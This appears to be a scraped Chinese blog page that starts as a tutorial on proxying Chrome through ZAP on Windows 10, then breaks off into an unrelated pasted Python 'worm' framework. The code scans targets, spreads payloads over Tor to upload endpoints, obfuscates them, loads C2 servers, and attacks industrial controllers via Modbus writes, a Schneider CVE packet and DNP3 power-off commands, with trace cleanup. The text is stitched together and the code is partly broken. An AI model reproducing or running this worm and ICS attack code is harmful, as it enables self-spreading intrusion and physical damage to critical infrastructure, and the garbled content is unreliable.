ZAP 代理 Chrome 系统 win10

本文详细介绍了如何在Windows 10系统中,将ZAP设置为Chrome浏览器的代理,包括ZAP代理原理、Chrome的代理设置步骤、ZAP的SSL证书导出及导入到Chrome的过程,确保安全地进行HTTPS网站的抓包分析。

ZAP 代理原理

如下浏览器,拿Chrome为例,Chrome发出的请求都会先经过 ZAP, 然后再由 ZAP 发往服务器.如下图:

Chrome 设置

1. Chrome设置只需要在地址栏输入 chrome://settings

2. 然后在搜索栏输入 代理

然后点击 打开您计算机的代理设置

3. 设置手动代理

端口为什么是 8080 呢? 因为 ZAP 默认接收端口为 8080如下:

当然你可以可以设置为你自己喜欢的端口, 只要 Chrome 和

import base64 import random import string import hmac import hashlib import time import sys import os import threading import asyncio import aiohttp import aiodns from aiohttp_socks import ProxyConnector from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.Util.Padding import pad, unpad import logging import json import platform from ctypes import windll, wintypes, create_string_buffer import owasp_zap_core_api from pymodbus.client.sync import ModbusTcpClient import socket from pydnp3 import opendnp3 # Configure logger, output logs to file and set log level logging.basicConfig(filename='worm.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') hmac_algorithms = [hashlib.sha256, hashlib.sha384, hashlib.sha512] class DecentralizedKeyDistribution: def __init__(self): self.keys = {} self._generate_keys() self.current_key_index = 0 self.key_version = 1 def _generate_keys(self): import secrets for _ in range(10): key_id = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(8)) key = secrets.token_bytes(16) self.keys[key_id] = key def get_key(self): key_ids = list(self.keys.keys()) key = self.keys[key_ids[self.current_key_index]] self.current_key_index = (self.current_key_index + 1) % len(self.keys) return key, self.key_version def rotate_keys(self): new_keys = {} for key_id, old_key in self.keys.items(): new_key = self._generate_key() new_keys[key_id] = new_key buffer = create_string_buffer(old_key) windll.kernel32.RtlZeroMemory(buffer, len(old_key)) # Verify if key is erased successfully for i in range(len(old_key)): if buffer[i]!= 0: logging.warning("Key erasure verification failed") self.keys = new_keys self.key_version += 1 def _generate_key(self): import secrets return secrets.token_bytes(16) key_dist = DecentralizedKeyDistribution() class Scanner: def __init__(self): self.targets = [] self.persistence_file = 'targets.txt' self.load_targets() self.vulnerability_db = self.load_vulnerability_db() self.update_vulnerability_db() self.delay_pattern = self._generate_delay_pattern() self.scan_paths = self._generate_scan_paths() self.resolver = aiodns.DNSResolver() self.dns_retry_count = 0 self.zap = owasp_zap_core_api.ZAPv2() def add_target(self, url): self.targets.append(url) self.save_targets() async def _check_vulnerable_async(self, target): try: host = urlparse(target).hostname addrs = await self._resolve_host(host) ip = addrs[0].host target = target.replace(host, ip) scan_id = self.zap.spider.scan(target) while int(self.zap.spider.status(scan_id)) < 100: await asyncio.sleep(1) alerts = self.zap.core.alerts(scan_id) if alerts: logging.info(f"{target} may have vulnerabilities, OWASP ZAP found alerts: {alerts}") return True except (aiodns.error.DNSError, IndexError) as e: logging.error(f"Failed to resolve hostname: {host}, error: {e}") except Exception as e: logging.error(f"OWASP ZAP scan error: {e}") return False async def _resolve_host(self, host): max_retries = 3 while self.dns_retry_count < max_retries: try: addrs = await self.resolver.query(host, 'A') self.dns_retry_count = 0 return addrs except aiodns.error.DNSError as e: self.dns_retry_count += 1 logging.error(f"DNS resolution error: {e}, retrying...({self.dns_retry_count}/{max_retries})") await asyncio.sleep(2) raise aiodns.error.DNSError("Reached maximum DNS resolution retries") def _generate_random_user_agent(self): user_agents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0' ] return random.choice(user_agents) def _generate_scan_paths(self): paths = ['/login.php', '/admin.php', '/index.php'] for _ in range(5): paths.append('/' + ''.join(random.choices(string.ascii_lowercase, k=random.randint(5, 10)))) random.shuffle(paths) return paths def load_targets(self): try: with open(self.persistence_file, 'r') as f: encrypted_targets = json.load(f) for encrypted_target in encrypted_targets: ciphertext = base64.b64decode(encrypted_target['ciphertext']) nonce = base64.b64decode(encrypted_target['nonce']) tag = base64.b64decode(encrypted_target['tag']) key_id = encrypted_target['key_id'] key_version = encrypted_target['key_version'] encryption_key = key_dist.keys[key_id] cipher = AES.new(encryption_key, AES.MODE_EAX, nonce=nonce) try: target = cipher.decrypt_and_verify(ciphertext, tag).decode('utf-8') self.targets.append(target) except ValueError: logging.error("Verification failed when decrypting target") except FileNotFoundError: pass def save_targets(self): encrypted_targets = [] encryption_key, key_version = key_dist.get_key() key_id = list(key_dist.keys.keys())[key_dist.current_key_index - 1] for target in self.targets: cipher = AES.new(encryption_key, AES.MODE_EAX) nonce = cipher.nonce ciphertext, tag = cipher.encrypt_and_digest(target.encode('utf-8')) encrypted_target = { 'ciphertext': base64.b64encode(ciphertext).decode('utf-8'), 'nonce': base64.b64encode(nonce).decode('utf-8'), 'tag': base64.b64encode(tag).decode('utf-8'), 'key_id': key_id, 'key_version': key_version } encrypted_targets.append(encrypted_target) with open(self.persistence_file, 'w') as f: json.dump(encrypted_targets, f) def update_vulnerability_db(self): max_retries = 3 for attempt in range(max_retries): try: async with aiohttp.ClientSession() as session: async with session.get('http://your_vulnerability_db_server.com/update') as response: if response.status == 200: new_db = await response.json() self.vulnerability_db = new_db with open('vulnerability_db.json', 'w') as f: json.dump(new_db, f) return except aiohttp.ClientError as e: logging.error(f"Error updating vulnerability database (attempt {attempt + 1}): {e}") await asyncio.sleep(2) logging.error("Failed to update vulnerability database after multiple attempts") def _generate_delay_pattern(self): delay_pattern = [] for _ in range(10): delay = random.uniform(0.1, 2) delay_pattern.append(delay) random.shuffle(delay_pattern) return delay_pattern class PropagationEngine: def __init__(self): self.user_agent = Scanner()._generate_random_user_agent() self.proxy_connector = ProxyConnector.from_url('socks5://127.0.0.1:9050') async def propagate_to_target(self, target, payload): try: upload_paths = self._generate_upload_paths() for upload_path in upload_paths: await asyncio.sleep(random.uniform(1, 3)) headers = self._generate_headers() async with aiohttp.ClientSession(connector=self.proxy_connector) as session: async with session.post(target + upload_path, data=payload, headers=headers) as response: if response.status == 200: logging.info(f"Successfully propagated to target {target}") return True else: logging.info(f"Failed to propagate to target {target}, status code: {response.status}") except aiohttp.ClientError as e: logging.error(f"Error propagating to target {target}: {e}") return False def _generate_headers(self): headers = { 'User - Agent': self.user_agent, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' } return headers def _generate_upload_paths(self): base_paths = ['/upload.php', '/file_upload.php', '/upload_file.php'] dynamic_paths = [] for _ in range(3): path = '/' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=random.randint(5, 10))) + '.php' dynamic_paths.append(path) return base_paths + dynamic_paths class MultiArchPayload: def __init__(self): self.payload_segments = [] self.encoding_methods = [self._base64_encode, self._hex_encode, self._url_encode] def generate_mutation(self, base_payload): self.payload_segments = [] num_segments = random.randint(3, 5) segment_size = len(base_payload) // num_segments remaining = len(base_payload) % num_segments start = 0 for i in range(num_segments): end = start + segment_size if i == num_segments - 1: end += remaining segment = base_payload[start:end] encoding_method = random.choice(self.encoding_methods) encoded_segment = encoding_method(segment) self.payload_segments.append(encoded_segment) return self.payload_segments def recombine_payload(self): combined_payload = ''.join(self.payload_segments) return combined_payload def verify_payload_integrity(self, combined_payload): hash_object = hashlib.sha256(combined_payload.encode()) expected_hash = hash_object.hexdigest() # Assume we have the correct hash stored somewhere for comparison correct_hash = "correct_hash_value" return expected_hash == correct_hash def _base64_encode(self, data): return base64.b64encode(data).decode('utf - 8') def _hex_encode(self, data): return data.hex() def _url_encode(self, data): from urllib.parse import quote return quote(data.decode('utf - 8')) class IndustrialProtocolModule: def __init__(self): self.original_values = {} def modbus_exploit(self, target, command="read"): client = ModbusTcpClient(target) if client.connect(): if command == "write_coil": # 修改设备线圈状态(如关闭安全继电器) client.write_coil(0, 0xFF00) # 强制开启所有线圈 elif command == "write_register": # 篡改设备寄存器(如修改温度设定值) self.original_values[0] = client.read_holding_registers(0, 10).registers client.write_registers(0, [65000] * 10) # 超限写入 elif command == "fuzzing": # 模糊测试漏洞探测 for fc in [43, 90, 127]: # 非法功能码 client.send(bytearray([fc, 0, 0, 0, 0])) client.close() return True return False def _cve_2020_13576(self, target): # 模拟Schneider Modicon漏洞 mal_packet = b'\x00\x01\x00\x00\x00\x06\x01\x06\x00\x01\xff\xff' sock = socket.socket() sock.sendto(mal_packet, (target, 502)) sock.close() return True def device_fingerprinting(self, target): client = ModbusTcpClient(target) if client.connect(): try: response = client.read_coils(0, 10).encode() if "Schneider" in response.decode('utf - 8', 'ignore'): client.close() return self._cve_2020_13576(target) elif "Siemens" in response.decode('utf - 8', 'ignore'): client.close() return self._siemens_s7_exploit(target) except Exception as e: logging.error(f"Error during device fingerprinting: {e}") client.close() return False def _siemens_s7_exploit(self, target): # 这里需要根据实际的Siemens S7漏洞利用代码实现 logging.info(f"Simulating Siemens S7 exploit on {target}") return True def assess_impact(self, register_address): PHYSICAL_EFFECTS = { 0x3000: "锅炉超压风险", 0x4000: "涡轮机超速危险" } return PHYSICAL_EFFECTS.get(register_address, "未知系统状态") def clean_traces(self, target): client = ModbusTcpClient(target) if client.connect(): if 0 in self.original_values: client.write_registers(0, self.original_values[0]) client.close() def dnp3_exploit(self, target): manager = opendnp3.DNP3Manager(1, opendnp3.ConsoleLogger().Create()) channel = manager.AddTCPClient("client", opendnp3.levels.NORMAL, "0.0.0.0", target, 20000) # 伪造控制指令(断电命令) command = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON) channel.DirectOperate(command, 0) return True def mitm_attack(self, target): # 这里需要实际设置代理并修改PDU的逻辑 logging.info(f"Simulating DNP3 MITM attack on {target}") return True class WormFramework: def __init__(self): self.payload_generator = MultiArchPayload() self.vulnerability_scanner = Scanner() self.propagator = PropagationEngine() self.rsa_key = RSA.generate(2048) self.private_key = self.rsa_key.export_key() self.public_key = self.rsa_key.publickey().export_key() self.worm_code = self._read_worm_code() self.c2_server_urls = self._load_c2_server_urls() self.last_c2_index = -1 self._init_key_exchange() self.memory_encryption_key = key_dist.get_key() self.industrial_protocol = IndustrialProtocolModule() def _load_c2_server_urls(self): try: with open('c2_servers.json', 'r') as f: return json.load(f) except FileNotFoundError: return [] def _read_worm_code(self): with open(__file__, 'rb') as f: return f.read() async def scan_targets(self): try: tasks = [] for target in self.vulner我这代码属于有意义的提交情形还是无意义的提交情形
最新发布
10-20
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值